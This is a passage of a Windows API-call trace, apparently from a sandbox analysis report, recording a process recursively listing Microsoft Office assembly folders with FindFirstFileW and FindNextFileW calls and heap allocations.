cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0250.889] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc51578a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc51578a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0250.889] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc51578a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc51578a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0250.890] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0250.890] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0250.890] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0250.890] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x40f0050 [0250.891] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\*", lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfa08 [0250.891] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.891] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="assembly", cAlternateFileName="")) returned 1 [0250.891] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4188318 [0250.891] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\*", lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfdc8 [0250.892] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.892] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_64", cAlternateFileName="")) returned 1 [0250.892] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41dde40 [0250.892] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\*", lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfd48 [0250.893] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.893] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Access.BusinessDataCatalog", cAlternateFileName="MICROS~1.BUS")) returned 1 [0250.893] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41ede48 [0250.893] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\*", lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfa48 [0250.894] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.894] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 1 [0250.894] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0250.895] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfd88 [0250.895] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.895] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Access.BusinessDataCatalog.DLL", cAlternateFileName="MICROS~1.DLL")) returned 1 [0250.896] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Access.BusinessDataCatalog.DLL", cAlternateFileName="MICROS~1.DLL")) returned 0 [0250.896] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0250.896] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0250.896] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0250.896] FindClose (in: hFindFile=0x6cfa48 | out: hFindFile=0x6cfa48) returned 1 [0250.896] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0250.896] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Access.BusinessDataCatalog", cAlternateFileName="MICROS~1.BUS")) returned 0 [0250.896] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0250.896] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0250.896] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 1 [0250.896] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41dde40 [0250.896] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\*", lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfd48 [0250.899] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.899] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a30a43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a30a43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.AdomdClient", cAlternateFileName="MICROS~1.ADO")) returned 1 [0250.899] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41ede48 [0250.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\*", lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a30a43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a30a43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfd88 [0250.900] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a30a43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a30a43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.900] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 1 [0250.900] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0250.900] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\11.0.0.0__89845DCD8080CC91\\*", lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfe08 [0250.901] FindNextFileW (in: hFindFile=0x6cfe08, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.901] FindNextFileW (in: hFindFile=0x6cfe08, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xafe30, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0250.902] FindNextFileW (in: hFindFile=0x6cfe08, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xafe30, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0250.902] FindClose (in: hFindFile=0x6cfe08 | out: hFindFile=0x6cfe08) returned 1 [0250.902] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0250.902] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0 [0250.902] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0250.902] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0250.902] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces", cAlternateFileName="MICROS~2.INT")) returned 1 [0250.902] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41ede48 [0250.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\*", lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfd88 [0250.903] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.903] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 1 [0250.903] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0250.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\11.0.0.0__89845DCD8080CC91\\*", lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfe08 [0250.903] FindNextFileW (in: hFindFile=0x6cfe08, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.904] FindNextFileW (in: hFindFile=0x6cfe08, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x78c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces.DLL", cAlternateFileName="MICROS~1.DLL")) returned 1 [0250.904] FindNextFileW (in: hFindFile=0x6cfe08, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, 